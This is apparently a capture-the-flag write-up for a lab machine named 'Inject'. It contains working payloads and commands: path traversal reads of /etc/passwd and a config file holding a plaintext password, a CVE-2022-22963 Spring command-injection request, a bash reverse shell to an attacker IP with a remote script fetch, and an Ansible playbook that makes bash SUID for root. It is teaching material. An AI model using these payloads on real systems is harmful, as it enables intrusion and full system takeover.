To gain access to the machine, we had to perform enumeration on an HTTP service, which led us to discover a path traversal vulnerability. Exploiting this vulnerability allowed us to retrieve the “pom.xml” file, which enabled us to identify a vulnerable dependency on the target machine. Exploiting this vulnerability gave us a foothold as the user “frank” on the target system.

Once we established access as “frank,” we proceeded to enumerate the target machine, uncovering hard-coded credentials within it. Utilizing these credentials, we pivoted to the user “phil.” With a shell as “phil,” we were able to exploit an Ansible playbook, facilitating privilege escalation and granting us root access on the system.

Recon

nmap (TCP all ports)

nmap finds two open TCP ports, SSH (22), HTTP Proxy (8080):

$ nmap -p- 10.129.180.8
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-12 14:04 WET
Nmap scan report for 10.129.180.8
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 30.84 seconds
$ 

nmap (found TCP ports exploration)

$ nmap -sC -sV -p 22,8080 10.129.180.8
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-12 14:08 WET
Nmap scan report for 10.129.180.8
Host is up (0.045s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
$ 

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Landing page

By going to the url we are presented with the following landing page:

Shell as frank

Path Traversal

Upon deeper manual enumeration, we are able to find a path traversal vulnerability in the “/show_image” path of the service. By injecting an “img” argument with “../”, it allows attackers to retrieve arbitrary files within the service’s privilege boundaries.

$ curl 10.129.180.8:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
$ 

Settings config file

By leveraging the path traversal vulnerability we are able to retrieve the configuration file named “settings.xml.” This file contains hard-coded credentials, granting us future access to privileged accounts within the system.

$ curl 10.129.180.8:8080/show_image?img=../../../../../../home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
$ 

Credentials found

phil:DocPhillovestoInject123

CVE-2022-22963

Discovery

The application appears to be a Java-based application developed using the Spring Framework. This insight provides valuable information about the underlying structure of the code. Additionally, we are able to locate a pom.xml file that contains the application’s dependencies. Retrieving this file allows us to gain a better understanding of the specific dependencies being utilized, enabling us to analyze and assess their potential impact on the system’s security and overall functionality.

$ curl 10.129.180.8:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
<SNIP>
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-function-web</artifactId>
			<version>3.2.2</version>
		</dependency>
<SNIP>
</project>
$ 

Within the retrieved pom.xml file, we are able to identify a dependency named spring-cloud.function-web. This particular dependency is vulnerable to the CVE-2022-22963, which is associated with a remote code execution vulnerability.

Exploitation

POC

To determine if the application is vulnerable to the mentioned CVE, we can attempt an exploit by creating a file named “pwn” in the /tmp directory. Subsequently, we can utilize the path traversal vulnerability to check if we can successfully retrieve the file.

$ curl -X POST  http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwn")' --data-raw 'data'-v --silent >/dev/null && curl http://10.129.180.8:8080/show_image?img=../../../../../../tmp/
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
hsperfdata_frank
pwn
systemd-private-821256cc7c5049d0a0727bbea95d55a2-ModemManager.service-s3FVof
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-logind.service-0Gv1Qh
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-resolved.service-pjlmYe
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-timesyncd.service-WJSLVh
tomcat.8080.12280564055277082500
tomcat-docbase.8080.8238192940941789148
vmware-root_730-2999460803

Reverse shell

Given the application’s vulnerability, we can attempt to obtain a reverse shell using the CVE. First, we generate a bash reverse shell and save it to a file.

#!/bin/bash

bash -i >& /dev/tcp/<ATTCK_IP>/9001 0>&1

Then, we exploit the vulnerability to transfer this file from our machine to the target machine.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
curl -X POST  http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.15.92:8000/rev.sh -o /tmp/rev")' --data-raw 'data'-v --silent >/dev/null

Once the file is transferred, we can execute the exploit on the target machine while listening on our machine with netcat.

curl -X POST  http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data'-v --silent >/dev/null
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
<SNIP>
frank@inject:/$ 

We can see that the user we got as foothold is the user frank.

Shell as phil

Change of user through creds

By utilizing the previously discovered credentials for the user “phil,” we can pivot from the user “frank” to gain access as the user “phil” within the target machine. This allows us to explore additional avenues for privilege escalation on the target system. Accessing the privileges associated with the user “phil” opens up new possibilities for further investigation and potential exploitation to escalate privileges.

frank@inject:/$ su phil
su phil
Password: DocPhillovestoInject123
python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:/$ export TERM=xterm
export TERM=xterm
phil@inject:/$ ^Z
[1]+  Stopped                 nc -lnvp 9001
$ stty raw -echo; fg
nc -lnvp 9001
             stty rows 38 columns 116
phil@inject:/$ 

Shell as root

Group Permissions

Now that we have a shell as the user “phil,” we can determine their privileges by using the command “id” to check the groups they belong to.

phil@inject:/$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/$ 

Having identified that the user “phil” is a member of the “staff” group (with group ID 50), we can leverage this information to retrieve files that the user has permissions to manipulate. By examining the file system and considering the access granted to the “staff” group, we can determine the files and directories that “phil” can interact with.

phil@inject:/$ find / -type f -group 50 2>/dev/null
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts/.uuid
phil@inject:/$ 

Ansible Weaponization

The user “phil” has the capability to interact with an automated task executed through an Ansible playbook, which serves as a configuration file for task automation on the machine. This allows “phil” to manage and potentially modify the tasks performed by the playbook, providing opportunities for system configuration and exploration.

phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started
phil@inject:/opt/automation/tasks$

We have the potential to leverage this capability by following this blogpost that explains modifying the SETUID of the bash command. This modification aims to maintain the sticky bit set from root permissions enabling us to mimic the root user.

phil@inject:/opt/automation/tasks$ cat pe.yml 
- hosts: localhost
  tasks:
    - name: Priv esc
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true
phil@inject:/opt/automation/tasks$ 

Upon completing the automation change, we simply need to wait for the permissions to be updated. This can be achieved using a bash one-liner that executes the bash command with the argument “-p” to ensure the sticky permissions are retained. By monitoring whether the permissions of the command have been correctly modified, we can ascertain if the desired changes have been successfully applied and obtain a root shell.

phil@inject:/opt/automation/tasks$ while true; do [ -s /usr/bin/bash ] && { [ $(stat -c "%a" /usr/bin/bash) -gt 3000 ] && /usr/bin/bash -p; }; sleep 1; done
bash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) egid=0(root) groups=0(root),50(staff),1001(phil)
bash-5.0#